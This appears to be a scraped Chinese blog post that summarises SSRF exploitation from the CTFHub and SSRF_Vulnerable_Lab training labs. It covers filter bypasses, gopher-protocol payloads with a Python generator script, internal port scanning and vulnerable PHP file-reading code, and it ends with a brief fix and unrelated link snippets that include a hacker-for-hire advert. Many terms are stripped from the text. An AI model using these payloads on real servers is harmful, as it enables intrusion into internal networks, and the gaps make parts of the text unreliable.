SSRF的利用方式

访客3年前关于黑客接单729

SSRF的利用方式

本文对ctfhub和SSRF_Vulnerable_Lab中SSRF的利用方式进行了总结。

0x00 技能树

1615317124_6047c88468199a4aed8b7.png!small?1615317126156

SSRF

常利用的相关协议

:探测内网主机存活、端口开放情况

:发送GET或POST请求;攻击内网应用,如FastCGI、Redis

:泄露安装软件版本信息,查看端口,操作内网redis访问等

:读取本地文件

Bypass

常见限制:

限制为域名,

限制请求IP不为内网地址

采用短网址绕过

采用特殊域名

采用进制转换:如,十进制形式、十六进制形式

限制请求IP只为http协议

采用302跳转

采用短地址

常见绕过 *** :

利用302跳转

进制转换

利用DNS解析

利用@绕过

利用

添加端口号

利用短网址

其他各种指向127.0.0.1的地址

漏洞产生

相关PHP函数


相关PHP内置类

攻击内网应用

redis

fastcgi

mysql

postgresql

zabbix

pymemcache

*** tp

0x01 推荐文献

我在CTFHub学习SSRF

靶场:

ctfhub

SSRF_Vulnerable_Lab作者详细的写了每一关的writeup。

工具:

rebinder用于DNS重绑定

bitly生成短链接

0x02 SSRF漏洞的介绍、成因、场景

介绍

ssrf(Server-Side Request Forgery:服务器端请求伪造): 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

成因

都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

也就是说,对于为服务器提供服务的其他应用没有对访问进行限制,如果我构造好我的访问包,那我就有可能利用目标服务对他的其他服务器应用进行调用。

SSRF 漏洞出现的场景

1.能够对外发起 *** 请求的地方,就可能存在 SSRF 漏洞

2.从远程服务器请求资源(Upload from URL,Import & Export RSS Feed)

3.数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)

4.Webmail 收取其他邮箱邮件(POP3、IMAP、 *** TP)

5.文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)

0x03 SSRF的利用

一、内网访问

使用http协议对内网的Web应用进行访问

二、伪协议读取文件

php伪协议

PHP支持的伪协议

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

php.ini参数设置

:默认值On,允许url里的封装协议访问文件。

:默认值Off,不允许url里的封装协议包含文件。

各协议的利用条件和 ***

1615317152_6047c8a04b410e1718a53.png!small?1615317152257

举例:

三、端口扫描

在SSRF中,dict协议与http协议可以用来探测内网主机存活与端口开放情况。

用burp,在intruder中,将端口设置为变量。使用Simple List扫描常用端口,或者使用NumerList进行枚举。当发现长度不同的数据包时,再用协议进一步探测。

前置知识:Gopher协议的利用

什么是gopher协议

协议是一种信息查找系统,他将上的文件组织成某种索引,方便用户从的一处带到另一处。在出现之前,是上最主要的信息检索工具,Gopher站点也是最主要的站点,使用端口。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这拓宽了 SSRF 的攻击面。

协议的格式:

gopher协议发送http get请求

构造数据包

编码、替换回车换行为,包最后加代表消息结束

发送协议, 协议后的一定要接端口

发送http post请求

与传参的区别:它有个参数为必要参数

需要传递,,,的参数

四、发送POST请求

使用file协议读取源码:

使用如下python脚本生成标准格式的gopher协议

用于解析URL

对URL中的特殊字符进行编码

替换字符串

import urllib.parse
?
payload=\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
?
key=a68a3b03e80ce7fef96007dfa01dc077
"""
tmp=urllib.parse.quote(payload)
new=tmp.replace('%0A','%0D%0A')
result='gopher://127.0.0.1:80/'+'_'+new
result=urllib.parse.quote(result)
print(result)

注意:上面那四个参数是POST请求必须的,即POST、Host、Content-Type和Content-Length。如果少了会报错的,而GET则不用。

注意Content-Length应为POST数据内容的长度,这里为36。

因为会将换行编码为,而在gopher协议中,进行URL编码,会将回车换行编码为,所以,第二步使用将替换为。接下来,拼接上gopher协议的标准格式,最后再使用一次对新增的部分进行URL编码。因为新增的部分不是POST数据包的内容,所以也就不存在回车换行,也就不需要将替换为。

标准gopher协议的格式如下:

gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Da68a3b03e80ce7fef96007dfa01dc077%250D%250A

五、提交文件

首先抓取一个正常提交文件的数据包,然后使用上述脚本将其转换为gopher协议的格式。

import urllib.parse
?
payload=\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 293
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://challenge-a09b30b9de9fb026.sandbox.ctfhub.com:10080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz0BDuCoolR1Vg7or
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,**;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/SSRF/sql_connect.php
Cookie: PHPSESSID=vq3t1tdrhkqtjihtof17q9qme6
Upgrade-Insecure-Requests: 1
?
host=127.0.0.1&uname=root&pass=root& *** mt=Chal+Billu%2C+Ghuma+de+soda+%3E%3AD%3C

场景一:IP存活且端口开放

如果你指定的IP地址存活、指定的端口上运行着MySQL服务,并且输入了正确的用户名和密码。那么页面不会返回任何的提示信息。因为这次连接没有发生错误,返回0。根本就不会进入到输出错误信息的分支。

if (mysqli_connect_errno())
{
echo ?mysqli_connect_error();
}

如果你指定的IP地址存活、指定的端口开启,但上面没有运行MySQL服务,而是运行的其他服务。则脚本显示错误信息:"MySQL has gone away"。

1615317397_6047c995e3407313a33ab.png!small?1615317397885

1615317410_6047c9a23090e0ff1cb32.png!small?1615317410405

1615317419_6047c9ab906039366ed7b.png!small?1615317419931

场景二、IP存活但是端口关闭

在这个场景下,远程IP存活,但是指定端口关闭。脚本会打印信息:“Connection refused”。

1615317430_6047c9b6bc3616e2e6630.png!small?1615317431690

1615317443_6047c9c3f20813e159d3f.png!small?1615317443939

基于上述两个场景,就可以判断指定IP开放了哪些端口

1615317455_6047c9cf06fa5ed27ce8b.png!small?1615317455098

1615317464_6047c9d887adda6aa9c82.png!small?1615317464544

场景三:IP不存在

在这个场景下,远程IP不存在。应用程序尝试与不存在的IP建立连接,这会花比场景二更长的时间,最终发生连接超时。应用程序脚本打印"Third party not responding" 表示指定IP不存在。

首先使用探测内网中存活的主机

fping -a -g 192.168.245.1 192.168.245.254
192.168.245.2
192.168.245.134
192.168.245.135
192.168.245.146
192.168.245.152
192.168.245.237

应用程序响应"由于连接方在一段时间后没有正确答复或连接的主机没有反应,连接尝试失败。",表明192.168.245.200这个IP不存在。

1615317480_6047c9e89980ef12a24a7.png!small?1615317480668

十四、应用程序代码获取并显示指定内容

测试环境:SSRF_Vulnerable_Lab

Application code fetch and disply the content of the specified file (file_get_contents.php)

This Lab is just to demonstrate how SSRF can be exploited to perform reading files/remote URLs

在编程语言中,有一些函数可以获取本地保存的文件内容(例如PHP中的)。这些功能可能能够从远程URL以及本地文件中获取内容。

如果应用程序未在用户提供的数据之前添加任何的字符串就从文件中获取内容,即应用程序未在用户提供的数据前添加目录名或路径,则该功能可能被滥用。

在这种情况下, 这些数据获取功能可以处理或之类的协议。当用户指定远程URL代替文件名(例如)时,数据获取功能将从指定的URL中提取数据。

如果应用程序在用户数据前添加目录名或路径,并且过滤掉,防止用相对路径进行目录遍历。则或协议将不起作用,并且无法利用SSRF漏洞。

在此示例中,应用程序具有获取和显示文件内容的功能。

当用户尝试读取保存在服务器上的文件的内容时,有漏洞的代码只检查文件是否在服务器上存在,如果文件在服务器上,就显示内容。

用户选择要加载的文件,并点击Load File之后,抓取到如下数据包

POST /ssrf/file_get_content.php HTTP/1.1
Host: 192.168.245.134
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://192.168.245.134
Connection: close
Referer: http://192.168.245.134/ssrf/file_get_content.php
Upgrade-Insecure-Requests: 1
?
file=local.txt&read=load+file

的核心代码。读取指定文件内容,并在前端页面显示。

if(isset($_POST['read']))
{
?
$file=trim($_POST['file']);
?
echo htmlentities(file_get_contents($file));
?
}

trim() 函数移除字符串两侧的空白字符或其他预定义字符。htmlentities()把字符转换为html实体。

有漏洞的代码允许用户使用协议。比如,在Linux服务器上,用户可以读取;在Windows服务器上,用户可以读取。

1615317625_6047ca799600dee20c7aa.png!small?1615317625835

1615317644_6047ca8ce58b1f1a05091.png!small?1615317645073

访问内网服务URL

攻击者不仅可以利用有漏洞的代码来读取本地文件,而且可以访问内网环境(或者其他内网主机)上的Web应用程序。

用户指定URL,该URL指向本地服务器上保存的文件box.txt。

修复方案

在用户数据前添加目录名或绝对路径,并且,过滤掉,防止利用相对路径进行目录遍历。这种情况下,或协议将不起作用。

相关文章

美联储主席说美劳动力朝鲜人民的生活现状市场距离恢复强劲尚需时

  新华社华盛顿2月10日电(记者许缘 高攀)美国联邦储备委员会主席鲍威尔10日说,美国劳动力市场距离恢复强劲仍有很长的路要走,需要短期政策和长期投资的持续支持,包括保持有耐心且宽松的货币政策立场等。...

笔记本电脑关不了机是怎么回事(长按关机就可

笔记本电脑关不了机是怎么回事(长按关机就可

下面,我就教大家一些解决电脑无法关机的方法 随着科技的发展,我们工作娱乐都离不开电脑。每天使用完电脑后将电脑关机我们也习以为常。可是今天却出现了异常情况,电脑竟然关不了机了。接下来,我们就一起来看看...

找黑客手机号码定位软件,wifi黑客网站

一、手机号码定位软件怎么找黑客 1、网站黑客如果你尊重你的能力,你将享受艰苦的工作和奉献,提高你的能力,这将成为一种高度的娱乐,而不是一种廉价的服务。手机号码定位软件小邪商店现在让我们在IE地址栏中输...

福利吧广告服务

谢谢宽大赞助商对本站的支持! 网站接见量大,数据可以联系QQ索取统计密码。 本站建立与2011年12月,网页接见流通,坚持逐日原创更新,以下为广告位报价。 一、文章推广:首页推荐头条2000/篇...

第十四届咪咕汇圆满结束,咪咕咖啡“5G+咖啡”

神武4·动感地带第十四届音乐盛典咪咕汇圆满落幕。作为本次盛典的唯一指定咖啡品牌,咪咕咖啡以全新产品为身处汇客厅采访现场的嘉宾以及广大线上用户提供了专属咖啡服务,带来“...

卉怎么读?

卉怎么读?

卉怎么读?卉是什么意思?卉的词语出处也是那里?很多人在生活、学习中遇到“卉”这个词,大家都不知道怎么读这个生僻字。你想知道这些有趣的生僻字怎么读吗?豪友网专门精心整理了生僻字怎么读相关的内容,为你释疑...